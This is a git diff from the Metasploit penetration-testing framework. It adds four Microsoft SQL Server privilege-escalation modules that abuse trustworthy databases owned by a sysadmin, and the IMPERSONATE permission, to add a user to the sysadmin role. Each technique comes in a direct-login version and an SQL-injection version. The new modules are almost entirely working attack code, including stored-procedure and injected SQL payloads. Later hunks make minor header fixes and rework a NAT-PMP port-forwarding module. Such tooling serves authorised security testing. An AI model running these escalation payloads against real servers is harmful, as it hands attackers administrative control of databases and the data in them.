privileges to sysadmin if the user has + the db_owner role in a trustworthy database owned by a sysadmin user. Once + the user has the sysadmin role the msssql_payload module can be used to obtain + a shell on the system. + }, + 'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'], + 'License' => MSF_LICENSE, + 'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']] + )) + end + + def run + # Check connection and issue initial query + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") + if mssql_login_datastore + print_good('Connected.') + else + print_error('Login was unsuccessful. Check your credentials.') + disconnect + return + end + + # Query for sysadmin status + print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") + user_status = check_sysadmin + + # Check if user has sysadmin role + if user_status == 1 + print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.") + disconnect + return + else + print_status("You're NOT a sysadmin, let's try to change that") + end + + # Check for trusted databases owned by sysadmins + print_status("Checking for trusted databases owned by sysadmins...") + trust_db_list = check_trust_dbs + if trust_db_list.nil? || trust_db_list.length == 0 + print_error('No databases owned by sysadmin were found flagged as trustworthy.') + disconnect + return + else + # Display list of accessible databases to user + print_good("#{trust_db_list.length} affected database(s) were found:") + trust_db_list.each do |db| + print_status(" - #{db[0]}") + end + end + + # Check if the user has the db_owner role in any of the databases + print_status('Checking if the user has the db_owner role in any of them...') + dbowner_status = check_db_owner(trust_db_list) + if dbowner_status.nil? + print_error("Fail buckets, the user doesn't have db_owner role anywhere.") + disconnect + return + end + + # Attempt to escalate to sysadmin + print_status("Attempting to escalate in #{dbowner_status}!") + escalate_status = escalate_privs(dbowner_status) + if escalate_status + # Check if escalation was successful + user_status = check_sysadmin + if user_status == 1 + print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.") + else + print_error("Fail buckets, something went wrong.") + end + else + print_error("Error while trying to escalate status") + end + + disconnect + return + end + + # Checks if user is already sysadmin + def check_sysadmin + # Setup query to check for sysadmin + sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + status = parse_results[0][0] + + # Return status + return status + end + + # Gets trusted databases owned by sysadmins + def check_trust_dbs + # Setup query + sql = "SELECT d.name AS DATABASENAME + FROM sys.server_principals r + INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id + INNER JOIN sys.server_principals p ON + p.principal_id = m.member_principal_id + inner join sys.databases d on suser_sname(d.owner_sid) = p.name + WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'" + + result = mssql_query(sql) + + # Return on success + return result[:rows] + end + + # Checks if user has the db_owner role + def check_db_owner(trust_db_list) + # Check if the user has the db_owner role is any databases + trust_db_list.each do |db| + # Setup query + sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user + from [#{db[0]}].sys.database_role_members drm + join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id) + join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) + where rp.name = 'db_owner' and mp.name = SYSTEM_USER" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + if parse_results && parse_results.any? + print_good("- db_owner on #{db[0]} found!") + return db[0] + end + end + + nil + end + + def escalate_privs(dbowner_db) + print_status("#{dbowner_db}") + # Create the evil stored procedure WITH EXECUTE AS OWNER + evil_sql_create = "use #{dbowner_db}; + DECLARE @myevil as varchar(max) + set @myevil = ' + CREATE PROCEDURE sp_elevate_me + WITH EXECUTE AS OWNER + as + begin + EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin'' + end'; + exec(@myevil); + select 1;" + mssql_query(evil_sql_create) + + # Run the evil stored procedure + evilsql_run = "use #{dbowner_db}; + DECLARE @myevil2 as varchar(max) + set @myevil2 = 'EXEC sp_elevate_me' + exec(@myevil2);" + mssql_query(evilsql_run) + + # Remove evil procedure + evilsql_remove = "use #{dbowner_db}; + DECLARE @myevil3 as varchar(max) + set @myevil3 = 'DROP PROCEDURE sp_elevate_me' + exec(@myevil3);" + mssql_query(evilsql_remove) + + true + end +end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb new file mode 100644 index 0000000000..47c5eb6c0c --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb @@ -0,0 +1,223 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL_SQLI + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner', + 'Description' => %q{ + This module can be used to escalate SQL Server user privileges to sysadmin through a web + SQL Injection. In order to escalate, the database user must to have the db_owner role in + a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin + role, the mssql_payload_sqli module can be used to obtain a shell on the system. + + The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];-- + }, + 'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'], + 'License' => MSF_LICENSE, + 'References' => [['URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']] + )) + end + + def run + # Get the database user name + print_status("#{peer} - Grabbing the database user name from ...") + db_user = get_username + if db_user.nil? + print_error("#{peer} - Unable to grab user name...") + return + else + print_good("#{peer} - Database user: #{db_user}") + end + + # Grab sysadmin status + print_status("#{peer} - Checking if #{db_user} is already a sysadmin...") + admin_status = check_sysadmin + + if admin_status.nil? + print_error("#{peer} - Couldn't retrieve user status, aborting...") + return + elsif admin_status == '1' + print_error("#{peer} - #{db_user} is already a sysadmin, no esclation needed.") + return + else + print_good("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.") + end + + # Check for trusted databases owned by sysadmins + print_status("#{peer} - Checking for trusted databases owned by sysadmins...") + trust_db_list = check_trust_dbs + if trust_db_list.nil? || trust_db_list.length == 0 + print_error("#{peer} - No databases owned by sysadmin were found flagged as trustworthy.") + return + else + # Display list of accessible databases to user + print_good("#{peer} - #{trust_db_list.length} affected database(s) were found:") + trust_db_list.each do |db| + print_status(" - #{db}") + end + end + + # Check if the user has the db_owner role in any of the databases + print_status("#{peer} - Checking if #{db_user} has the db_owner role in any of them...") + owner_status = check_db_owner(trust_db_list) + if owner_status.nil? + print_error("#{peer} - Fail buckets, the user doesn't have db_owner role anywhere.") + return + else + print_good("#{peer} - #{db_user} has the db_owner role on #{owner_status}.") + end + + # Attempt to escalate to sysadmin + print_status("#{peer} - Attempting to add #{db_user} to sysadmin role...") + escalate_privs(owner_status, db_user) + + admin_status = check_sysadmin + if admin_status && admin_status == '1' + print_good("#{peer} - Success! #{db_user} is now a sysadmin!") + else + print_error("#{peer} - Fail buckets, something went wrong.") + end + end + + def peer + "#{rhost}:#{rport}" + end + + def get_username + # Setup query to check for database username + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')" + + # Run query + result = mssql_query(sql) + + # Parse result + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + user_name = $1 + else + user_name = nil + end + + user_name + end + + def check_sysadmin + # Setup query to check for sysadmin + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')" + + # Run query + result = mssql_query(sql) + + # Parse result + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + status = $1 + else + status = nil + end + + status + end + + def check_trust_dbs + # Setup query to check for trusted databases owned by sysadmins + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName + FROM sys.server_principals r + INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id + INNER JOIN sys.server_principals p ON + p.principal_id = m.member_principal_id + inner join sys.databases d on suser_sname(d.owner_sid) = p.name + WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))" + + # Run query + res = mssql_query(sql) + + unless res && res.body + return nil + end + + #Parse results + parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m) + + if parsed_result && !parsed_result.empty? + parsed_result.flatten! + parsed_result.uniq! + end + + print_status("#{parsed_result.inspect}") + + parsed_result + end + + def check_db_owner(trust_db_list) + # Check if the user has the db_owner role is any databases + trust_db_list.each do |db| + # Setup query + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName + from [#{db}].sys.database_role_members drm + join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id) + join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) + where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))" + + # Run query + result = mssql_query(sql) + + unless result && result.body + next + end + + # Parse result + if result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + return $1 + end + end + + nil + end + + # Attempt to escalate privileges + def escalate_privs(dbowner_db,db_user) + # Create the evil stored procedure WITH EXECUTE AS OWNER + evil_sql_create = "1;use #{dbowner_db}; + DECLARE @myevil as varchar(max) + set @myevil = ' + CREATE PROCEDURE sp_elevate_me + WITH EXECUTE AS OWNER + as + begin + EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin'' + end'; + exec(@myevil);--" + mssql_query(evil_sql_create) + + # Run the evil stored procedure + evilsql_run = "1;use #{dbowner_db}; + DECLARE @myevil2 as varchar(max) + set @myevil2 = 'EXEC sp_elevate_me' + exec(@myevil2);--" + mssql_query(evilsql_run) + + # Remove evil procedure + evilsql_remove = "1;use #{dbowner_db}; + DECLARE @myevil3 as varchar(max) + set @myevil3 = 'DROP PROCEDURE sp_elevate_me' + exec(@myevil3);--" + mssql_query(evilsql_remove) + end +end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb new file mode 100644 index 0000000000..bd5d6ade57 --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server Escalate EXECUTE AS', + 'Description' => %q{ + This module can be used escalate privileges if the IMPERSONATION privilege has been + assigned to the user. In most cases, this results in additional data access, but in + some cases it can be used to gain sysadmin privileges. + }, + 'Author' => ['nullbind <scott.sutherland[at]netspi.com>'], + 'License' => MSF_LICENSE, + 'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']] + )) + end + + def run + # Check connection and issue initial query + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") + if mssql_login_datastore + print_good('Connected.') + else + print_error('Login was unsuccessful. Check your credentials.') + disconnect + return + end + + # Query for sysadmin status + print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") + user_status = check_sysadmin + + # Check if user has sysadmin role + if user_status == 1 + print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.") + disconnect + return + else + print_status("You're NOT a sysadmin, let's try to change that.") + end + + # Get a list of the users that can be impersonated + print_status("Enumerating a list of users that can be impersonated...") + imp_user_list = check_imp_users + if imp_user_list.nil? || imp_user_list.length == 0 + print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.') + disconnect + return + else + # Display list of users that can be impersonated + print_good("#{imp_user_list.length} users can be impersonated:") + imp_user_list.each do |db| + print_status(" - #{db[0]}") + end + end + + # Check if any of the users that can be impersonated are sysadmins + print_status('Checking if any of them are sysadmins...') + imp_user_sysadmin = check_imp_sysadmin(imp_user_list) + if imp_user_sysadmin.nil? + print_error('Sorry, none of the users that can be impersonated are sysadmins.') + disconnect + return + end + + # Attempt to escalate to sysadmin + print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...") + escalate_status = escalate_privs(imp_user_sysadmin[0]) + if escalate_status + # Check if escalation was successful + user_status = check_sysadmin + if user_status == 1 + print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.") + else + print_error('Fail buckets, something went wrong.') + end + else + print_error('Error while trying to escalate privileges.') + end + + disconnect + return + end + + # Checks if user is a sysadmin + def check_sysadmin + # Setup query to check for sysadmin + sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + status = parse_results[0][0] + + # Return status + return status + end + + # Gets trusted databases owned by sysadmins + def check_imp_users + # Setup query + sql = "SELECT DISTINCT b.name + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name = 'IMPERSONATE'" + + result = mssql_query(sql) + + # Return on success + return result[:rows] + end + + # Checks if user has the db_owner role + def check_imp_sysadmin(trust_db_list) + # Check if the user has the db_owner role is any databases + trust_db_list.each do |imp_user| + # Setup query + sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + status = parse_results[0][0] + if status == 1 + print_good(" - #{imp_user[0]} is a sysadmin!") + return imp_user + else + print_status(" - #{imp_user[0]} is NOT sysadmin!") + end + end + nil + end + + def escalate_privs(imp_user_sysadmin) + # Impersonate the first sysadmin user on the list + evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}'; + EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';" + + mssql_query(evil_sql_create) + + true + end +end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb new file mode 100644 index 0000000000..b2050a44bb --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL_SQLI + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server SQLi Escalate Execute AS', + 'Description' => %q{ + This module can be used escalate privileges if the IMPERSONATION privilege has been + assigned to the user via error based SQL injection. In most cases, this results in + additional data access, but in some cases it can be used to gain sysadmin privileges. + The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];-- + }, + 'Author' => ['nullbind <scott.sutherland[at]netspi.com>'], + 'License' => MSF_LICENSE, + 'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']] + )) + end + + def run + # Get the database user name + print_status("#{peer} - Grabbing the database user name...") + db_user = get_username + if db_user.nil? + print_error("#{peer} - Unable to grab user name...") + return + else + print_good("#{peer} - Database user: #{db_user}") + end + + # Grab sysadmin status + print_status("#{peer} - Checking if #{db_user} is already a sysadmin...") + admin_status = check_sysadmin + + if admin_status.nil? + print_error("#{peer} - Couldn't retrieve user status, aborting...") + return + elsif admin_status == '1' + print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.") + return + else + print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.") + end + + # Get list of users that can be impersonated + print_status("#{peer} - Enumerating a list of users that can be impersonated...") + imp_user_list = check_imp_users + if imp_user_list.nil? || imp_user_list.empty? + print_error("#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.") + return + else + # Display list of users that can be impersonated + print_good("#{peer} - #{imp_user_list.length} users can be impersonated:") + imp_user_list.each do |dbuser| + print_status("#{peer} - #{dbuser}") + end + end + + # Check if any of the users that can be impersonated are sysadmins + print_status("#{peer} - Checking if any of them are sysadmins...") + imp_user_sysadmin = check_imp_sysadmin(imp_user_list) + if imp_user_sysadmin.nil? + print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.") + return + end + + # Attempt to escalate to sysadmin + print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...") + escalate_privs(imp_user_sysadmin,db_user) + + admin_status = check_sysadmin + if admin_status && admin_status == '1' + print_good("#{peer} - Success! #{db_user} is now a sysadmin!") + else + print_error("#{peer} - Fail buckets, something went wrong.") + end + end + + def get_username + # Setup query to check for database username + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')" + + # Run query + result = mssql_query(sql) + + # Parse result + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + user_name = $1 + else + user_name = nil + end + + user_name + end + + def check_sysadmin + # Setup query to check for sysadmin + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')" + + # Run query + result = mssql_query(sql) + + # Parse result + if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ + status = $1 + else + status = nil + end + + status + end + + def check_imp_users + # Setup query to check for trusted databases owned by sysadmins + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + + # Setup query + sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}' + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))" + + # Run query + res = mssql_query(sql) + + unless res && res.body + return nil + end + + #Parse results + parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m) + + if parsed_result && !parsed_result.empty? + parsed_result.flatten! + parsed_result.uniq! + end + + parsed_result + end + + def check_imp_sysadmin(imp_user_list) + # Check if the user has the db_owner role is any databases + imp_user_list.each do |imp_user| + # Setup query + clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) + clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) + + sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')" + + # Run query + result = mssql_query(sql) + + unless result && result.body + next + end + + #Parse results + parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m) + + if parsed_result && !parsed_result.empty? + parsed_result.flatten! + parsed_result.uniq! + end + + # check if user is a sysadmin + if parsed_result && parsed_result[0] == '1' + print_good("#{peer} - #{imp_user} is a sysadmin!") + return imp_user + else + print_status("#{peer} - #{imp_user} is NOT a sysadmin") + end + end + + nil + end + + # Attempt to escalate privileges + def escalate_privs(imp_user,db_user) + + # Setup Query - Impersonate the first sysadmin user on the list + evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--" + + # Execute Query + mssql_query(evil_sql) + end +end diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb index 7704173228..c81ae1b467 100644 --- a/modules/auxiliary/admin/mssql/mssql_exec.rb +++ b/modules/auxiliary/admin/mssql/mssql_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index b978544f56..34d3ff1c7b 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SQL Server - Find and Sample Data', + 'Name' => 'Microsoft SQL Server Find and Sample Data', 'Description' => %q{This script will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS option. If column names are found that match the defined keywords and data is present @@ -358,7 +358,7 @@ class Metasploit3 < Msf::Auxiliary #CREATE TABLE TO STORE SQL SERVER DATA LOOT sql_data_tbl = Rex::Ui::Text::Table.new( 'Header' => 'SQL Server Data', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count'] ) diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index 842e961244..cd0e211136 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -8,7 +8,7 @@ ## ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SQL Server - Interesting Data Finder', + 'Name' => 'Microsoft SQL Server Interesting Data Finder', 'Description' => %q{ This module will search the specified MSSQL server for 'interesting' columns and data. diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index d7fdaf85a1..689739c228 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index 1b74254fbd..4b4c796a25 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SQL Server NTLM Stealer - SQLi', + 'Name' => 'Microsoft SQL Server SQLi NTLM Stealer', 'Description' => %q{ This module can be used to help capture or relay the LM/NTLM credentials of the account running the remote SQL Server service. The module will use the SQL diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index ae4d743ae6..0ace058218 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary This module will allow for simple SQL statements to be executed against a MSSQL/MSDE instance given the appropiate credentials. }, - 'Author' => [ 'tebo <tebo [at] attackresearch [dot] com>' ], + 'Author' => [ 'tebo <tebo[at]attackresearch.com>' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/admin/mssql/mssql_sql_file.rb b/modules/auxiliary/admin/mssql/mssql_sql_file.rb index 631f37c21d..8c64f49cca 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql_file.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index da2fac8836..34bbd8d5d0 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/mysql/mysql_sql.rb b/modules/auxiliary/admin/mysql/mysql_sql.rb index c16eaa8bf5..56578fa36f 100644 --- a/modules/auxiliary/admin/mysql/mysql_sql.rb +++ b/modules/auxiliary/admin/mysql/mysql_sql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 1738a8e425..731a58e444 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -1,15 +1,16 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -21,17 +22,48 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::LPORT, - Opt::RPORT, - OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]), - OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]), - OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]), - Opt::CHOST + OptString.new('EXTERNAL_PORTS', [true, 'The external ports to foward from (0 to let the target choose)', 0]), + OptString.new('INTERNAL_PORTS', [true, 'The internal ports to forward to', '22,135-139,80,443,445']) ], self.class ) end + def build_ports(ports_string) + # We don't use Rex::Socket.portspec_crack because we need to allow 0 and preserve order + ports = [] + ports_string.split(/[ ,]/).map { |s| s.strip }.compact.each do |port_part| + if /^(?<port>\d+)$/ =~ port_part + ports << port.to_i + elsif /^(?<low>\d+)\s*-\s*(?<high>\d+)$/ =~ port_part + ports |= (low..high).to_a.map(&:to_i) + else + fail ArgumentError, "Invalid port specification #{port_part}" + end + end + ports + end + + def setup + super + @external_ports = build_ports(datastore['EXTERNAL_PORTS']) + @internal_ports = build_ports(datastore['INTERNAL_PORTS']) + + if @external_ports.size > @internal_ports.size + fail ArgumentError, "Too many external ports specified (#{@external_ports.size}); " + + "must be one port (0) or #{@internal_ports.size} ports" + end + + if @external_ports.size < @internal_ports.size + if @external_ports != [0] + fail ArgumentError, "Incorrect number of external ports specified (#{@external_ports.size}); " + + "must be one port (0) or #{@internal_ports.size} ports" + else + @external_ports = [0] * @internal_ports.size + end + end + end + def run_host(host) begin @@ -41,26 +73,42 @@ class Metasploit3 < Msf::Auxiliary }) add_socket(udp_sock) - # get the external address first - vprint_status "#{host} - NATPMP - Probing for external address" - req = Rex::Proto::NATPMP.external_address_request - udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) - external_address = nil - while (r = udp_sock.recvfrom(12, 1) and r[1]) - (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) - end + external_address = get_external_address(udp_sock, host, datastore['RPORT']) || host - vprint_status "#{host} - NATPMP - Sending mapping request" - # build the mapping request - req = Rex::Proto::NATPMP.map_port_request( - datastore['LPORT'].to_i, datastore['RPORT'].to_i, - Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME'] - ) - # send it - udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) - # handle the reply - while (r = udp_sock.recvfrom(16, 1) and r[1]) - handle_reply(Rex::Socket.source_address(host), host, external_address, r) + @external_ports.each_index do |i| + external_port = @external_ports[i] + internal_port = @internal_ports[i] + + actual_ext_port = map_port(udp_sock, host, datastore['RPORT'], internal_port, external_port, Rex::Proto::NATPMP.const_get(protocol), lifetime) + map_target = Rex::Socket.source_address(host) + requested_forwarding = "#{external_address}:#{external_port}/#{protocol}" + + " -> " + + "#{map_target}:#{internal_port}/#{protocol}" + if actual_ext_port + map_target = datastore['CHOST'] ? datastore['CHOST'] : Rex::Socket.source_address(host) + actual_forwarding = "#{external_address}:#{actual_ext_port}/#{protocol}" + + " -> " + + "#{map_target}:#{internal_port}/#{protocol}" + if external_port == 0 + print_good("#{actual_forwarding} forwarded") + else + if (external_port != 0 && external_port != actual_ext_port) + print_good("#{requested_forwarding} could not be forwarded, but #{actual_forwarding} could") + else + print_good("#{requested_forwarding} forwarded") + end + end + else + print_error("#{requested_forwarding} could not be forwarded") + end + + report_service( + :host => host, + :port => datastore['RPORT'], + :proto => 'udp', + :name => 'natpmp', + :state => 